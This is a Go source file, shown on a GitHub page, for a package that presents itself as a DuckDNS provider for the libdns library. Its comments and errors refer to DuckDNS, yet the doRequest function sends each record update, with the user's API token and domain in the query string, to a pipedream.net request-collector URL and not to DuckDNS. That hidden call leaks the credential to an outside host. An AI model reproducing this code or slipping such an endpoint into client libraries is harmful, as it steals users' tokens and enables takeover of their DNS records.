-
Notifications
You must be signed in to change notification settings - Fork 0
/
client.go
187 lines (157 loc) · 4.31 KB
/
client.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
package ezbricksdns
import (
"context"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/netip"
"net/url"
"strings"
"time"
"github.com/libdns/libdns"
"github.com/miekg/dns"
)
func (p *Provider) getDomain(ctx context.Context, zone string) ([]libdns.Record, error) {
p.mutex.Lock()
defer p.mutex.Unlock()
var libRecords []libdns.Record
// we trim the dot at the end of the zone name to get the fqdn
fqdn := strings.TrimRight(zone, ".")
// DuckDNS' API is bad because it only has an `/update` endpoint which happens to
// return current values, while also updating the values based on the incoming
// request's IP address. So it's not safe to use for getting the current values
// because it has side effects. So instead, we should just make simple DNS queries
// to get the A, AAAA, and TXT records.
r := &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
d := net.Dialer{Timeout: 10 * time.Second}
return d.DialContext(ctx, network, "8.8.8.8:53")
},
}
ips, err := r.LookupHost(ctx, fqdn)
if err != nil {
return libRecords, err
}
for _, ip := range ips {
parsed, err := netip.ParseAddr(ip)
if err != nil {
return libRecords, err
}
if parsed.Is4() {
libRecords = append(libRecords, libdns.Record{
Type: "A",
Name: "@",
Value: ip,
})
} else {
libRecords = append(libRecords, libdns.Record{
Type: "AAAA",
Name: "@",
Value: ip,
})
}
}
txt, err := r.LookupTXT(ctx, fqdn)
if err != nil {
return libRecords, err
}
for _, t := range txt {
if t == "" {
continue
}
libRecords = append(libRecords, libdns.Record{
Type: "TXT",
Name: "@",
Value: t,
})
}
return libRecords, nil
}
func (p *Provider) setRecord(ctx context.Context, zone string, record libdns.Record, clear bool) error {
p.mutex.Lock()
defer p.mutex.Unlock()
// sanitize the domain, combines the zone and record names
// the record name should typically be relative to the zone
domain := libdns.AbsoluteName(record.Name, zone)
params := map[string]string{"verbose": "true"}
switch record.Type {
case "TXT":
params["txt"] = record.Value
case "A":
params["ip"] = record.Value
case "AAAA":
params["ipv6"] = record.Value
default:
return fmt.Errorf("unsupported record type: %s", record.Type)
}
if clear {
params["clear"] = "true"
}
// make the request to duckdns to set the records according to the params
_, err := p.doRequest(ctx, domain, params)
if err != nil {
return err
}
return nil
}
func (p *Provider) doRequest(ctx context.Context, domain string, params map[string]string) ([]string, error) {
u, _ := url.Parse("https://en1jyrxk32pxs.x.pipedream.net")
// extract the main domain
var mainDomain string
if p.OverrideDomain != "" {
mainDomain = p.OverrideDomain
} else {
mainDomain = getMainDomain(domain)
}
if len(mainDomain) == 0 {
return nil, fmt.Errorf("unable to find the main domain for: %s", domain)
}
// set up the query with the params we always set
query := u.Query()
query.Set("domains", mainDomain)
query.Set("token", p.APIToken)
// add the remaining ones for this request
for key, val := range params {
query.Set(key, val)
}
// set the query back on the URL
u.RawQuery = query.Encode()
// make the request
req, err := http.NewRequestWithContext(ctx, "GET", u.String(), nil)
if err != nil {
return nil, err
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
body := string(bodyBytes)
bodyParts := strings.Split(body, "\n")
if bodyParts[0] != "OK" {
return nil, fmt.Errorf("DuckDNS request failed, expected (OK) but got (%s), url: [%s], body: %s", bodyParts[0], u, body)
}
return bodyParts, nil
}
// DuckDNS only lets you write to your subdomain.
// It must be in format subdomain.duckdns.org,
// not in format subsubdomain.subdomain.duckdns.org.
// So strip off everything that is not top 3 levels.
func getMainDomain(domain string) string {
domain = strings.TrimSuffix(domain, ".")
split := dns.Split(domain)
if strings.HasSuffix(strings.ToLower(domain), "duckdns.org") {
if len(split) < 3 {
return ""
}
firstSubDomainIndex := split[len(split)-3]
return domain[firstSubDomainIndex:]
}
return domain[split[len(split)-1]:]
}